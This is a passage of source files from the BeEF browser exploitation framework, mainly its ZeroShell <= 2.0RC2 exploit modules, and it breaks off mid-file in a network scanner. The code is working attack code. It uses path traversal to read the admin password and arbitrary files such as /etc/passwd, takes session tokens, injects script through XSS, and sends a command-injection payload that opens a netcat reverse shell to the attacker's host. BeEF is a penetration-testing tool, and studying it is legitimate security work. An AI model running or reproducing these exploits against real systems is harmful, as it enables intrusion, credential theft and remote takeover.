    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Zenoss_add_user_csrf < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'base', 'ui_label' => 'Zenoss web root', 'value' => 'http://192.168.1.1:8080/' },\n      { 'name' => 'username', 'ui_label' => 'Username', 'value' => 'username' },\n      { 'name' => 'password', 'ui_label' => 'Password', 'value' => 'password' },\n      { 'name' => 'user_level',\n        'type' => 'combobox',\n        'ui_label' => 'User Level',\n        'store_type' => 'arraystore',\n        'store_fields' => ['user_level'],\n        'store_data' => [\n          ['Manager'],\n          ['ZenManager'],\n          ['ZenUser']\n        ],\n        'emptyText' => 'Select a user level (\"Manager\" is highest)',\n        'valueField' => 'user_level',\n        'displayField' => 'user_level',\n        'mode' => 'local',\n        'autoWidth' => true }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/zeroshell/zeroshell_2_0rc2_admin_dynamic_token/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\tvar rhost = '<%= @rhost %>'; \n\tvar rport = '<%= @rport %>';\n\n\tvar uripwd = \"http://\" + rhost + \":\" + rport + \"/cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=../../../var/register/system/ldap/rootpw\";\n\tvar uri = \"http://\" + rhost + \":\" + rport + \"/cgi-bin/kerbynet\";\n\n\tvar pwd = \"\";\n\tvar token = \"\";\n\n\tbeef.debug(\"[ZeroShell_2.0RC2_admin_dynamic_token] Trying to retrieve admin password in plaintext: \" + uripwd);\n\tbeef.net.forge_request(\"http\", \"GET\", rhost, rport, uripwd, null, null, null, 10, 'script', true, null, function(response1){\n\t\tif(response1.status_code == 200){\n\t\t\tpwd = response1.response_body.trim();\n\t\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>,\"result=OK: Admin password retrieved : \" + pwd, beef.are.status_success());\n\t\t\tbeef.debug(\"[ZeroShell_2.0RC2_admin_dynamic_token] Trying to authenticate admin user to gain dynamic token with password: \" + pwd);\n\t\t\tbeef.net.forge_request(\"http\", \"POST\", rhost, rport, uri, true, null, { Action: \"StartSessionSubmit\", User: \"admin\", PW: pwd }, 10, 'script', false, null, function(response2){\n\t\t\t\tif(response2.status_code == 200){\n\t\t\t\t\ttoken = response2.response_body.substr(response2.response_body.indexOf(\"STk=\")+4, 40);\n\t\t\t\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>,\"result=OK: Admin token retrieved : \" + token, beef.are.status_success());\n\t\t\t\t} else {\n\t\t\t\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>,\"result=ERROR: Second POST request to get admin token failed.\", beef.are.status_error());\n\t\t\t\t}\n\t\t\t});\n\t\t} else {\n\t\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>,\"result=ERROR: First GET request to get admin password failed.\", beef.are.status_error());\n\t\t}\n\t});\n});\n\n"
  },
  {
    "path": "modules/exploits/zeroshell/zeroshell_2_0rc2_admin_dynamic_token/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        zeroshell_2_0rc2_admin_dynamic_token:\n            enable: true\n            category: [\"Exploits\", \"ZeroShell\"]\n            name: \"ZeroShell <= 2.0RC2 Admin Dynamic Token\"\n            description: \"Attempts to get the admin dynamic token on a ZeroShell <= 2.0RC2 after trying an authentication with admin login and password.<br />This token can be used to get a reverse-shell. <br />This module works only when the hook is on ZeroShell, please migrate to the ZeroShell target before using it.<br />Vulnerability found and PoC provided by Yann CAM <a href='http://www.asafety.fr' target='_blank'>@ASafety</a> / <a href='http://www.synetis.com' target='_blank'>Synetis</a>.<br />BeEF module originally created by ycam.<br />For more information refer to <a href='http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt' target='_blank'>http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt</a><br />Patched in version 2.0RC3.<br />\"\n            authors: [\"ycam\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/zeroshell/zeroshell_2_0rc2_admin_dynamic_token/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Zeroshell_2_0rc2_admin_dynamic_token < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.0.1' },\n      { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/zeroshell/zeroshell_2_0rc2_admin_password/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var rhost = '<%= @rhost %>';\n  var rport = '<%= @rport %>';\n\n  var uri = \"http://\" + rhost + \":\" + rport + \"/cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=../../../var/register/system/ldap/rootpw\";\n\n  beef.debug(\"[ZeroShell_2.0RC2_admin_password] Trying to retrieve admin password in plaintext: \" + uri);\n  beef.net.forge_request(\"http\", \"GET\", rhost, rport, uri, null, null, null, 10, 'script', true, null, function(response){\n    if(response.status_code == 200){\n      beef.net.send(\"<%= @command_url %>\", <%= @command_id %>,\"result=OK: ZeroShell admin password : [\" + response.response_body + \"]\", beef.are.status_success());\n    }else{\n      beef.net.send(\"<%= @command_url %>\", <%= @command_id %>,\"result=ERROR: GET request failed.\", beef.are.status_error());\n    }\n  });\n});\n\n"
  },
  {
    "path": "modules/exploits/zeroshell/zeroshell_2_0rc2_admin_password/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        zeroshell_2_0rc2_admin_password:\n            enable: true\n            category: [\"Exploits\", \"ZeroShell\"]\n            name: \"ZeroShell <= 2.0RC2 Admin Password\"\n            description: \"Attempts to get the admin password on a ZeroShell <= 2.0RC2<br />This module works only when the hook is on ZeroShell, please migrate to the ZeroShell target before using it.<br />Vulnerability found and PoC provided by Yann CAM <a href='http://www.asafety.fr' target='_blank'>@ASafety</a> / <a href='http://www.synetis.com' target='_blank'>Synetis</a>.<br />BeEF module originally created by ycam.<br />For more information refer to <a href='http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt' target='_blank'>http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt</a><br />Patched in version 2.0RC3.<br />\"\n            authors: [\"ycam\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/zeroshell/zeroshell_2_0rc2_admin_password/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Zeroshell_2_0rc2_admin_password < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.0.1' },\n      { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/zeroshell/zeroshell_2_0rc2_admin_static_token/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var rhost = '<%= @rhost %>';\n  var rport = '<%= @rport %>';\n\n  var uri = \"http://\" + rhost + \":\" + rport + \"/cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=../../../tmp/STk_Admin\";\n\n  beef.debug(\"[ZeroShell_2.0RC2_admin_static_token] Trying to retrieve admin static token: \" + uri);\n  beef.net.forge_request(\"http\", \"GET\", rhost, rport, uri, null, null, null, 10, 'script', true, null, function(response){\n    if(response.status_code == 200){\n      beef.net.send(\"<%= @command_url %>\", <%= @command_id %>,\"result=OK: ZeroShell admin static token : [\" + response.response_body + \"]\", beef.are.status_success());\n    }else{\n      beef.net.send(\"<%= @command_url %>\", <%= @command_id %>,\"result=ERROR: GET request failed.\", beef.are.status_error());\n    }\n  });\n});\n\n"
  },
  {
    "path": "modules/exploits/zeroshell/zeroshell_2_0rc2_admin_static_token/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        zeroshell_2_0rc2_admin_static_token:\n            enable: true\n            category: [\"Exploits\", \"ZeroShell\"]\n            name: \"ZeroShell <= 2.0RC2 Admin Static Token\"\n            description: \"Attempts to get the admin static token on a ZeroShell <= 2.0RC2 from the last token saved on filesystem.<br />This token can be not the latest to use to get a reverse-shell. You should used the dynamic token generated through an authentication.<br />This module works only when the hook is on ZeroShell, please migrate to the ZeroShell target before using it<br />Vulnerability found and PoC provided by Yann CAM <a href='http://www.asafety.fr' target='_blank'>@ASafety</a> / <a href='http://www.synetis.com' target='_blank'>Synetis</a>.<br />BeEF module originally created by ycam.<br />For more information refer to <a href='http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt' target='_blank'>http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt</a><br />Patched in version 2.0RC3.<br />\"\n            authors: [\"ycam\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/zeroshell/zeroshell_2_0rc2_admin_static_token/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Zeroshell_2_0rc2_admin_static_token < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.0.1' },\n      { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/zeroshell/zeroshell_2_0rc2_file_disclosure/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var rhost = '<%= @rhost %>';\n  var rport = '<%= @rport %>';\n  var rfile = '<%= @rfile %>';\n\n  var uri = \"http://\" + rhost + \":\" + rport + \"/cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=../../../\" + rfile;\n\n  beef.debug(\"[ZeroShell_2.0RC2_file_disclosure] Trying to retrieve local file: \" + uri);\n  beef.net.forge_request(\"http\", \"GET\", rhost, rport, uri, null, null, null, 10, 'script', true, null, function(response){\n    if(response.status_code == 200){\n      beef.net.send(\"<%= @command_url %>\", <%= @command_id %>,\"result=OK: ZeroShell file [\" + rfile + \"] content : [\" + response.response_body + \"]\", beef.are.status_success());\n    }else{\n      beef.net.send(\"<%= @command_url %>\", <%= @command_id %>,\"result=ERROR: GET request failed.\", beef.are.status_error());\n    }\n  });\n});\n\n"
  },
  {
    "path": "modules/exploits/zeroshell/zeroshell_2_0rc2_file_disclosure/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        zeroshell_2_0rc2_file_disclosure:\n            enable: true\n            category: [\"Exploits\", \"ZeroShell\"]\n            name: \"ZeroShell <= 2.0RC2 File Disclosure\"\n            description: \"Attempts to get file content on a ZeroShell <= 2.0RC2.<br />This module works only when the hook is on ZeroShell, please migrate to the ZeroShell target before using it<br />Vulnerability found and PoC provided by Yann CAM <a href='http://www.asafety.fr' target='_blank'>@ASafety</a> / <a href='http://www.synetis.com' target='_blank'>Synetis</a>.<br />BeEF module originally created by ycam.<br />For more information refer to <a href='http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt' target='_blank'>http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt</a><br />Patched in version 2.0RC3.<br />\"\n            authors: [\"ycam\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/zeroshell/zeroshell_2_0rc2_file_disclosure/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Zeroshell_2_0rc2_file_disclosure < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.0.1' },\n      { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' },\n      { 'name' => 'rfile', 'ui_label' => 'Absolute file path', 'value' => '/etc/passwd' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\tvar rhost = '<%= @rhost %>';\n\tvar rport = '<%= @rport %>';\n\tvar hook = beef.net.httpproto + \"://\" + beef.net.host + \":\" + beef.net.port + beef.net.hook;\n\n\tvar target = \"http://\" + rhost + \":\" + rport +\"/cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=x<script src='\" + hook + \"'></script>\";\n\n\tbeef.debug(\"[ZeroShell_2.0RC2_migrate_hook] Trying to retrieve migrate BeEF hook in ZeroShell context: \" + target);\n\tvar iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();\n\tiframe_<%= @command_id %>.setAttribute('src', target);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=BeEF hook should be sent to ZeroShell\", beef.are.status_unknown());\n});\n"
  },
  {
    "path": "modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        zeroshell_2_0rc2_migrate_hook:\n            enable: true\n            category: [\"Exploits\", \"ZeroShell\"]\n            name: \"ZeroShell <= 2.0RC2 Migrate Hook\"\n            description: \"Attempts to put the BeEF's hook on a ZeroShell <= 2.0RC2.<br />Vulnerability found and PoC provided by Yann CAM <a href='http://www.asafety.fr' target='_blank'>@ASafety</a> / <a href='http://www.synetis.com' target='_blank'>Synetis</a>.<br />BeEF module originally created by ycam.<br />For more information refer to <a href='http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt' target='_blank'>http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt</a><br />Patched in version 2.0RC3.<br />\"\n            authors: [\"ycam\"]\n            target:\n                working: [\"FF\"]\n"
  },
  {
    "path": "modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Zeroshell_2_0rc2_migrate_hook < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.0.1' },\n      { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\tvar rhost = '<%= @rhost %>';\n\tvar rport = '<%= @rport %>';\n\tvar lhost = '<%= @lhost %>';\n\tvar lport = '<%= @lport %>';\n\n\tvar uripwd = \"http://\" + rhost + \":\" + rport + \"/cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=../../../var/register/system/ldap/rootpw\";\n\tvar uri = \"http://\" + rhost + \":\" + rport + \"/cgi-bin/kerbynet\";\n\n\tvar pwd = \"\";\n\tvar token = \"\";\n\tvar payload = 'beef\" localhost && rm -f /tmp/x;mkfifo /tmp/x;cat /tmp/x|/bin/sh -i 2>&1|nc ' + lhost + ' ' + lport + ' > /tmp/x #';\n\n\tbeef.debug(\"[ZeroShell_2.0RC2_reverse_shell_csrf_sop] Trying to retrieve admin password in plaintext: \" + uripwd);\n\tbeef.net.forge_request(\"http\", \"GET\", rhost, rport, uripwd, null, null, null, 10, 'script', true, null, function(response1){\n\t\tif(response1.status_code == 200){\n\t\t\tpwd = response1.response_body.trim();\n\t\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>,\"result=OK: Admin password retrieved : \" + pwd, beef.are.status_success());\n\t\t\tbeef.debug(\"[ZeroShell_2.0RC2_reverse_shell_csrf_sop] Trying to authenticate admin user to gain dynamic token with password: \" + pwd);\n\t\t\tbeef.net.forge_request(\"http\", \"POST\", rhost, rport, uri, true, null, { Action: \"StartSessionSubmit\", User: \"admin\", PW: pwd }, 10, 'script', false, null, function(response2){\n\t\t\t\tif(response2.status_code == 200){\n\t\t\t\t\ttoken = response2.response_body.substr(response2.response_body.indexOf(\"STk=\")+4, 40);\n\t\t\t\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>,\"result=OK: Admin token retrieved : \" + token, beef.are.status_success());\n\t\t\t\t\tbeef.debug(\"[ZeroShell_2.0RC2_reverse_shell_csrf_sop] Trying to spawn a reverse-shell via CSRF in ZeroShell SOP context.\");\n\t\t\t\t\tbeef.net.forge_request(\"http\", \"POST\", rhost, rport, uri, true, null, { \n\t\t\t\t\t\tAction: \"Lookup\",\n\t\t\t\t\t\tSection: \"DNS\",\n\t\t\t\t\t\tDNS: \"localhost\",\n\t\t\t\t\t\tSTk: token,\n\t\t\t\t\t\tWhat: payload\n\t\t\t\t\t\t}, 10, 'script', false, null, function(response3){\n\t\t\t\t\t\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>,\"result=OK: Reverse shell should have been triggered.\", beef.are.status_unknown());\n\t\t\t\t\t\t}\n\t\t\t\t\t);\n\t\t\t\t} else {\n\t\t\t\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>,\"result=ERROR: Second POST request to get admin token failed.\", beef.are.status_error());\n\t\t\t\t}\n\t\t\t});\n\t\t} else {\n\t\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>,\"result=ERROR: First GET request to get admin password failed.\", beef.are.status_error());\n\t\t}\n\t});\n});\n\n"
  },
  {
    "path": "modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        zeroshell_2_0rc2_reverse_shell_csrf_sop:\n            enable: true\n            category: [\"Exploits\", \"ZeroShell\"]\n            name: \"ZeroShell <= 2.0RC2 Reverse Shell CSRF SOP\"\n            description: \"Attempts to get a reverse shell on a ZeroShell <= 2.0RC2 without known credentials<br />This module works only when the hook is on ZeroShell, please migrate to the ZeroShell target before using it ; or use the ZeroShell SOP-bypass module.<br />Vulnerability found and PoC provided by Yann CAM <a href='http://www.asafety.fr' target='_blank'>@ASafety</a> / <a href='http://www.synetis.com' target='_blank'>Synetis</a>.<br />BeEF module originally created by ycam.<br />For more information refer to <a href='http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt' target='_blank'>http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt</a><br />Patched in version 2.0RC3.<br />\"\n            authors: [\"ycam\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Zeroshell_2_0rc2_reverse_shell_csrf_sop < BeEF::Core::Command\n  def self.options\n    @configuration = BeEF::Core::Configuration.instance\n    lhost = @configuration.beef_host\n    lhost = '' if lhost == '0.0.0.0'\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.0.1' },\n      { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' },\n      { 'name' => 'lhost', 'ui_label' => 'Local Host',  'value' => lhost },\n      { 'name' => 'lport', 'ui_label' => 'Local Port',  'value' => '4444' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\tvar rhost = '<%= @rhost %>';\n\tvar rport = '<%= @rport %>';\n\tvar lhost = '<%= @lhost %>';\n\tvar lport = '<%= @lport %>';\n\tvar hook = beef.net.httpproto + \"://\" + beef.net.host + \":\" + beef.net.port + \"/x.js\";\n\n\tvar target = \"http://\" + rhost + \":\" + rport +\"/cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=x<script src='\" + hook + \"'></script>#lhost=\" + lhost + \"&lport=\" + lport;\n\n\tbeef.debug(\"[ZeroShell_2.0RC2_reverse_shell_csrf_sop_bypass] Trying to spawn a reverse-shell via XSS/CSRF in ZeroShell with SOP bypass.\");\n\tvar iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();\n\tiframe_<%= @command_id %>.setAttribute('src', target);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=OK: Reverse shell should have been triggered.\", beef.are.status_unknown());\n});\n"
  },
  {
    "path": "modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass:\n            enable: true\n            category: [\"Exploits\", \"ZeroShell\"]\n            name: \"ZeroShell <= 2.0RC2 Reverse Shell CSRF SOP Bypass\"\n            description: \"Attempts to get a reverse shell on a ZeroShell <= 2.0RC2 without known credentials<br />This module bypass SOP, so you can use it from another hooked origin.<br />Vulnerability found and PoC provided by Yann CAM <a href='http://www.asafety.fr' target='_blank'>@ASafety</a> / <a href='http://www.synetis.com' target='_blank'>Synetis</a>.<br />BeEF module originally created by ycam.<br />For more information refer to <a href='http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt' target='_blank'>http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt</a><br />Patched in version 2.0RC3.<br />\"\n            authors: [\"ycam\"]\n            target:\n                working: [\"FF\"]\n"
  },
  {
    "path": "modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass < BeEF::Core::Command\n  def pre_send\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/x.js', '/x', 'js')\n  end\n\n  def self.options\n    @configuration = BeEF::Core::Configuration.instance\n    lhost = @configuration.beef_host\n    lhost = '' if lhost == '0.0.0.0'\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.0.1' },\n      { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' },\n      { 'name' => 'lhost', 'ui_label' => 'Local Host',  'value' => lhost },\n      { 'name' => 'lport', 'ui_label' => 'Local Port',  'value' => '4444' }\n    ]\n  end\n\n  def post_execute\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('x.js')\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/x.js",
    "content": "var h=document.getElementsByTagName('head')[0];\nvar j=document.createElement('script');\nj.src='http://code.jquery.com/jquery-latest.min.js';\nh.appendChild(j);\n\nvar pwd=\"\";\nvar token=\"\";\n\nvar hash = window.location.hash.substring(1);\nvar lhost = hash.substring(hash.indexOf(\"lhost=\")+6, hash.indexOf(\"&\"));\nvar lport = hash.substring(hash.indexOf(\"lport=\")+6, hash.length);\n\nvar payload='beef%22+localhost+%26%26+rm+-f+%2Ftmp%2Fx%3Bmkfifo+%2Ftmp%2Fx%3Bcat+%2Ftmp%2Fx%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+' + lhost + '+' + lport + '+%3E+%2Ftmp%2Fx+%23';\n\nsetTimeout(function (){\n\t// first AJAX call in ZeroShell context to retieve the console admin password in plaintext\n\t$.ajax({ \n\t\ttype: 'GET',\n\t\turl: \"/cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=../../../var/register/system/ldap/rootpw\",\n\t\tcontentType: 'application/x-www-form-urlencoded;charset=utf-8',\n\t\tsuccess: function(result){\n\t\t\tpwd = result.trim();\n\t\t\tif(pwd != \"\"){\n\t\t\t\t// second AJAX call in ZeroShell context to make a valid authentication with login \"admin\" and the password previously retrived\n\t\t\t\t$.ajax({ \n\t\t\t\t\ttype: 'POST',\n\t\t\t\t\turl: \"/cgi-bin/kerbynet\",\n\t\t\t\t\tcontentType: 'application/x-www-form-urlencoded;charset=utf-8',\n\t\t\t\t\tdataType: 'text',\n\t\t\t\t\tdata: 'Action=StartSessionSubmit&User=admin&PW='+pwd,\n\t\t\t\t\tsuccess: function(result){\n\t\t\t\t\t\t// extract the current session token from the authentication performed\n\t\t\t\t\t\ttoken = result.substr(result.indexOf(\"STk=\")+4, 40); \n\t\t\t\t\t\t// third AJAX call in ZeroShell context to spawn a reverse-shell with the right session token\n\t\t\t\t\t\t$.ajax({ \n\t\t\t\t\t\t\ttype: 'POST',\n\t\t\t\t\t\t\turl: \"/cgi-bin/kerbynet\",\n\t\t\t\t\t\t\tcontentType: 'application/x-www-form-urlencoded;charset=utf-8',\n\t\t\t\t\t\t\tdataType: 'text',\n\t\t\t\t\t\t\tdata: 'Action=Lookup&STk='+token+'&Section=DNS&What='+payload+'&DNS=localhost'\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}\n\t\t}\n\t});\n}, 5000);\n"
  },
  {
    "path": "modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nvar imgPath \t= \"/kerbynet/Zeroshell.gif\";\t\t// fingerprint img to detect a ZeroShell instance\nvar ip_start \t= '<%= @ip_start %>'; \t\t\t// IP start range\nvar ip_end \t= '<%= @ip_end %>';\t\t\t// IP end range\nvar timeout \t= '<%= @timeout %>';\t\t\t// Timeout in ms to wait beetween each bloc scan and results sent to BeEF C&C (default 30000ms)\nvar ip_bloc \t= '<%= @ip_bloc %>';\t\t\t// Size of each IP bloc to scan (default 100)\n\n// Function added to convert string IPv4 to long\nfunction ip2long(IP) {\n  //  discuss at: http://phpjs.org/functions/ip2long/\n  //  original by: Waldo Malqui Silva (http://waldo.malqui.info)\n  //  improved by: Victor\n  //  revised by: fearphage (http://http/my.opera.com/fearphage/)\n  //  revised by: Theriault\n  //   example 1: ip2long('192.0.34.166');\n  //   returns 1: 3221234342\n  //   example 2: ip2long('0.0xABCDEF');\n  //   returns 2: 11259375\n  //   example 3: ip2long('255.255.255.256');\n  //   returns 3: false\n\n  var i = 0;\n  // PHP allows decimal, octal, and hexadecimal IP components.\n  // PHP allows between 1 (e.g. 127) to 4 (e.g 127.0.0.1) components.\n  IP = IP.match(\n    